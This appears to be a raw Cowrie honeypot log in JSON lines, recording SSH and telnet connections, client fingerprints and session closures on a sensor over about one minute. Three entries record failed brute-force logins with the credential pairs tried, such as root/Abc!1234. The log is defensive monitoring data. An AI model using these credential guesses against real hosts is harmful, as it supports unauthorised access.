{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:01.632962Z","src_ip":"209.99.185.195","session":"08f910b8a897","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc!1234","message":"login attempt [root/Abc!1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:02.114610Z","src_ip":"209.99.185.195","session":"08f910b8a897","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:03.227520Z","src_ip":"209.99.185.195","session":"08f910b8a897","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.06963491439819,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:03.487525Z","src_ip":"185.185.82.165","session":"9a3f3f71c58a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.704517126083374,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:07.480939Z","src_ip":"185.185.82.165","session":"46dbbb02f5e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":40636,"dst_ip":"159.203.135.109","dst_port":23,"session":"99ebfff30887","protocol":"telnet","message":"New connection: 185.185.82.165:40636 (159.203.135.109:23) [session: 99ebfff30887]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:07.688426Z"}
{"eventid":"cowrie.session.closed","duration":31.11090850830078,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:07.912772Z","src_ip":"185.185.82.165","session":"54ab7c3c2bba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.99420642852783,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:08.370115Z","src_ip":"69.65.3.189","session":"b22f6178a73e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":56568,"dst_ip":"10.17.0.5","dst_port":23,"session":"42edc8962f53","protocol":"telnet","message":"New connection: 69.65.3.189:56568 (10.17.0.5:23) [session: 42edc8962f53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:08.447510Z"}
{"eventid":"cowrie.session.closed","duration":34.80817127227783,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:10.928572Z","src_ip":"185.185.82.165","session":"6058d74907e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.54818391799927,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:14.896755Z","src_ip":"185.185.82.165","session":"7ae96e4f6aa8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.492366313934326,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:14.901893Z","src_ip":"185.185.82.165","session":"6b2676a3f426","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.595765352249146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:14.921965Z","src_ip":"185.185.82.165","session":"51e782c9292a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.025188207626343,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:14.949877Z","src_ip":"185.185.82.165","session":"6ebff5ebf874","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06929039955139,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:15.270364Z","src_ip":"185.185.82.165","session":"2ecaf12049ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.2342894077301,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:15.409550Z","src_ip":"185.185.82.165","session":"1272b1d5d628","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.814876556396484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:15.761080Z","src_ip":"185.185.82.165","session":"0150baf5ff31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7364399433136,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:18.510124Z","src_ip":"185.185.82.165","session":"bab2390b580c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.882222652435303,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:18.650995Z","src_ip":"185.185.82.165","session":"6f9d818a7072","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":54798,"dst_ip":"159.203.135.109","dst_port":23,"session":"6182eb050192","protocol":"telnet","message":"New connection: 185.185.82.165:54798 (159.203.135.109:23) [session: 6182eb050192]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:19.641891Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":54804,"dst_ip":"159.203.135.109","dst_port":23,"session":"9eb310df010a","protocol":"telnet","message":"New connection: 185.185.82.165:54804 (159.203.135.109:23) [session: 9eb310df010a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:20.045184Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":34980,"dst_ip":"159.203.135.109","dst_port":23,"session":"df77d645f82c","protocol":"telnet","message":"New connection: 185.185.82.165:34980 (159.203.135.109:23) [session: df77d645f82c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:24.555676Z"}
{"eventid":"cowrie.session.closed","duration":31.95846962928772,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:27.024967Z","src_ip":"185.185.82.165","session":"ea8f2e77e7f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.280155658721924,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:27.593136Z","src_ip":"185.185.82.165","session":"9b78522feeed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":34992,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c0f53be67cc","protocol":"telnet","message":"New connection: 185.185.82.165:34992 (159.203.135.109:23) [session: 9c0f53be67cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:27.844375Z"}
{"eventid":"cowrie.session.closed","duration":33.09658980369568,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:29.600506Z","src_ip":"185.185.82.165","session":"5c80af0b76ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":34998,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2e48bb4db3a","protocol":"telnet","message":"New connection: 185.185.82.165:34998 (159.203.135.109:23) [session: f2e48bb4db3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:29.606691Z"}
{"eventid":"cowrie.session.closed","duration":30.963810443878174,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:30.511120Z","src_ip":"185.185.82.165","session":"2ec9eadf9f90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.33967304229736,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:30.959588Z","src_ip":"185.185.82.165","session":"3eff0afd8008","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":35014,"dst_ip":"159.203.135.109","dst_port":23,"session":"32df7a2cee0b","protocol":"telnet","message":"New connection: 185.185.82.165:35014 (159.203.135.109:23) [session: 32df7a2cee0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:32.392743Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":46052,"dst_ip":"10.17.0.5","dst_port":22,"session":"d42e35903310","protocol":"ssh","message":"New connection: 80.94.92.184:46052 (10.17.0.5:22) [session: d42e35903310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:32.399276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:32.496361Z","src_ip":"80.94.92.184","session":"d42e35903310","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:32.652597Z","src_ip":"80.94.92.184","session":"d42e35903310","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"1.48.177.91","src_port":39131,"dst_ip":"159.203.135.109","dst_port":23,"session":"b33336e39017","protocol":"telnet","message":"New connection: 1.48.177.91:39131 (159.203.135.109:23) [session: b33336e39017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:32.863317Z"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv321","message":"login attempt [solv/solv321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:33.621133Z","src_ip":"80.94.92.184","session":"d42e35903310","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.19394564628601,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:33.779513Z","src_ip":"185.185.82.165","session":"b7f69a5ea573","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:34.934948Z","src_ip":"80.94.92.184","session":"d42e35903310","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":48238,"dst_ip":"159.203.135.109","dst_port":23,"session":"3195cc29ce17","protocol":"telnet","message":"New connection: 185.185.82.165:48238 (159.203.135.109:23) [session: 3195cc29ce17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:36.737861Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":48246,"dst_ip":"159.203.135.109","dst_port":23,"session":"c654ebe39103","protocol":"telnet","message":"New connection: 185.185.82.165:48246 (159.203.135.109:23) [session: c654ebe39103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:37.540464Z"}
{"eventid":"cowrie.session.closed","duration":31.440993785858154,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:39.129282Z","src_ip":"185.185.82.165","session":"99ebfff30887","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":48250,"dst_ip":"159.203.135.109","dst_port":23,"session":"55fc9b52f564","protocol":"telnet","message":"New connection: 185.185.82.165:48250 (159.203.135.109:23) [session: 55fc9b52f564]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:39.515120Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":48266,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ea54da6ff2b","protocol":"telnet","message":"New connection: 185.185.82.165:48266 (159.203.135.109:23) [session: 4ea54da6ff2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:40.701182Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":48272,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc11ed52114e","protocol":"telnet","message":"New connection: 185.185.82.165:48272 (159.203.135.109:23) [session: cc11ed52114e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:41.017407Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":48276,"dst_ip":"159.203.135.109","dst_port":23,"session":"efae011e2603","protocol":"telnet","message":"New connection: 185.185.82.165:48276 (159.203.135.109:23) [session: efae011e2603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:41.112019Z"}
{"eventid":"cowrie.session.closed","duration":12.914909601211548,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:45.778116Z","src_ip":"1.48.177.91","session":"b33336e39017","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":50442,"dst_ip":"159.203.135.109","dst_port":23,"session":"6723a5cb2dc3","protocol":"telnet","message":"New connection: 185.185.82.165:50442 (159.203.135.109:23) [session: 6723a5cb2dc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:45.834577Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":50454,"dst_ip":"159.203.135.109","dst_port":23,"session":"054ef6b5a376","protocol":"telnet","message":"New connection: 185.185.82.165:50454 (159.203.135.109:23) [session: 054ef6b5a376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:47.603988Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.36.200.182","src_port":45776,"dst_ip":"10.17.0.5","dst_port":22,"session":"c780e206fcd5","protocol":"ssh","message":"New connection: 177.36.200.182:45776 (10.17.0.5:22) [session: c780e206fcd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:48.298315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:48.305166Z","src_ip":"177.36.200.182","session":"c780e206fcd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:48.704041Z","src_ip":"177.36.200.182","session":"c780e206fcd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r@@t","message":"login attempt [root/r@@t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:49.895175Z","src_ip":"177.36.200.182","session":"c780e206fcd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.499348402023315,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:49.946743Z","src_ip":"69.65.3.189","session":"42edc8962f53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:51.293629Z","src_ip":"177.36.200.182","session":"c780e206fcd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.43953323364258,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:52.484595Z","src_ip":"185.185.82.165","session":"9eb310df010a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.289438247680664,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:53.931234Z","src_ip":"185.185.82.165","session":"6182eb050192","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":50456,"dst_ip":"159.203.135.109","dst_port":23,"session":"156b8d3ebd99","protocol":"telnet","message":"New connection: 185.185.82.165:50456 (159.203.135.109:23) [session: 156b8d3ebd99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:55.562174Z"}
{"eventid":"cowrie.session.closed","duration":32.069196701049805,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:56.624755Z","src_ip":"185.185.82.165","session":"df77d645f82c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":36564,"dst_ip":"159.203.135.109","dst_port":23,"session":"c640036ec86b","protocol":"telnet","message":"New connection: 185.185.82.165:36564 (159.203.135.109:23) [session: c640036ec86b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:58.362423Z"}
{"eventid":"cowrie.session.closed","duration":31.197544813156128,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:59.041509Z","src_ip":"185.185.82.165","session":"9c0f53be67cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.915980577468872,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:12:00.522566Z","src_ip":"185.185.82.165","session":"f2e48bb4db3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.21620559692383,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:12:06.608812Z","src_ip":"185.185.82.165","session":"32df7a2cee0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":40248,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb2b89e85dc0","protocol":"telnet","message":"New connection: 185.185.82.165:40248 (159.203.135.109:23) [session: cb2b89e85dc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:12:06.888604Z"}
{"eventid":"cowrie.session.closed","duration":31.053481817245483,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:12:07.791188Z","src_ip":"185.185.82.165","session":"3195cc29ce17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":40246,"dst_ip":"159.203.135.109","dst_port":23,"session":"636325fea2e4","protocol":"telnet","message":"New connection: 185.185.82.165:40246 (159.203.135.109:23) [session: 636325fea2e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:12:07.914583Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":40258,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcc7db6771e1","protocol":"telnet","message":"New connection: 185.185.82.165:40258 (159.203.135.109:23) [session: dcc7db6771e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:12:08.114136Z"}
{"eventid":"cowrie.session.closed","duration":32.23681879043579,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:12:09.777150Z","src_ip":"185.185.82.165","session":"c654ebe39103","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":42688,"dst_ip":"159.203.135.109","dst_port":23,"session":"7abb395af480","protocol":"telnet","message":"New connection: 185.26.126.47:42688 (159.203.135.109:23) [session: 7abb395af480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:12:09.813307Z"}
